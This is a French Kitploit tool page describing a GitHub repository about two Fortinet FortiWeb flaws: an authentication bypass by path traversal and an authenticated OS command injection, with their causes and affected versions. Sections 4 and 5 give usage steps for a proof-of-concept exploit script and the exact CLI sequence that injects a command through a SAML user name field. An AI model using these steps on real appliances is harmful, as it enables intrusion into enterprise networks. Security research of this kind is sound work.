Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
fortinet-fortiweb-cve-2025-64446-58034 — Recherche en sécurité sur les vulnérabilités Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034) | Kitploit
Outils/GitHubGitHub/lequoca/fortinet-fortiweb-cve-2025-64446-58034
Authentification et AutorisationAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et Contrôle
GitHublequoca/fortinet-fortiweb-cve-2025-64446-58034

fortinet-fortiweb-cve-2025-64446-58034

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Recherche en sécurité sur les vulnérabilités Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

Voir le dépôt
il y a 8 moisPas encore vérifié

Comprendre les vulnérabilités Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

1. Aperçu général

Fortinet FortiWeb est une appliance Web Application Firewall (WAF) largement déployée dans les systèmes d'entreprise afin de protéger les applications web contre les menaces courantes.

FortiWeb étant généralement situé au niveau de la couche de protection centrale, les vulnérabilités liées à l'authentification ou à l'exécution de commandes du système d'exploitation peuvent gravement affecter l'ensemble de l'infrastructure en aval. En 2025, deux vulnérabilités critiques ont été divulguées sur FortiWeb :

  • CVE-2025-64446 – Contournement de l'authentification via Relative Path Traversal

  • CVE-2025-58034 – OS Command Injection dans un contexte authentifié

  • 2. Aperçu de CVE-2025-64446

2.1 Type de vulnérabilité

  • Relative Path Traversal
  • Authentication Bypass

2.2 Cause de la vulnérabilité

CVE-2025-64446 provient de la gestion et de la vérification peu rigoureuses des chemins d'accès par FortiWeb avant l'application du mécanisme d'authentification.

Plus précisément :

  • Le mécanisme de contrôle d'accès repose sur des chaînes de chemins logiques
  • La normalisation complète du chemin n'est pas effectuée
  • L'utilisation de chemins relatifs est autorisée pour accéder aux ressources internes

Cette erreur permet à certains points de terminaison d'administration d'être accessibles sans authentification valide.

2.3 Impact sur la sécurité

  • Contournement complet du mécanisme d'authentification
  • Accès non autorisé aux fonctions d'administration
  • Rupture du modèle d'autorisation de l'appliance de sécurité

2.4 Versions concernées

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

3. Aperçu de CVE-2025-58034

3.1 Type de vulnérabilité

  • OS Command Injection (CWE-78)

3.2 Cause de la vulnérabilité

CVE-2025-58034 survient parce que FortiWeb traite les données d'entrée de l'utilisateur de manière non sécurisée lors de l'appel de commandes du système d'exploitation.

Les causes principales incluent :

  • Les paramètres d'entrée ne sont pas rigoureusement vérifiés
  • Absence de mécanisme de filtrage ou d'échappement des caractères spéciaux
  • Les données utilisateur sont transmises directement aux commandes système

Cette vulnérabilité requiert un contexte authentifié, mais présente un niveau de risque élevé en raison de l'exécution de commandes.

3.3 Impact sur la sécurité

  • Exécution non intentionnelle de commandes du système d'exploitation
  • Accès et manipulation des ressources système
  • Atteinte à l'intégrité et à la disponibilité de l'appliance

3.4 Versions concernées

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5
  • FortiWeb 7.4.0 – 7.4.10
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

4. Méthode d'exploitation (Référence au PoC disponible - CVE-2025-64446)

4.1 Cloner le dépôt (Télécharger le code source sur la machine)

git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034

4.2 Configurer l'environnement virtuel (venv)

L'environnement virtuel Python (venv) est utilisé afin de créer un environnement de travail indépendant pour chaque projet, permettant d'isoler les bibliothèques de dépendances du système Python principal. Cela permet d'éviter les conflits de versions de bibliothèques, de garantir la stabilité de l'environnement de travail et de limiter l'impact sur le système.

python3 -m venv venv source venv/bin/activate

4.3 Installer les dépendances :

pip install -r requirements.txt

4.4 Exécuter l'ensemble du processus d'exploitation

python exploit.py <target_ip> image image image

5. Méthode d'exploitation de CVE-2025-58034 à l'aide de commandes CLI (exécutées depuis l'interface en ligne de commande FortiWeb après authentification)

config user saml-user

edit "<YOUR COMMAND>"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

La vulnérabilité CVE-2025-58034 provient du fait que FortiWeb ne contrôle pas strictement les données d'entrée dans certains champs de configuration, en particulier la valeur transmise via la commande : edit "" Problème : Cette valeur est traitée comme une chaîne de configuration Elle est ensuite transmise aux commandes internes du système d'exploitation Les caractères spéciaux ne sont pas suffisamment filtrés ou échappés Cela conduit à la possibilité que les données de configuration affectent directement la commande du système d'exploitation exécutée, provoquant une vulnérabilité OS Command Injection.

Télécharger l’outil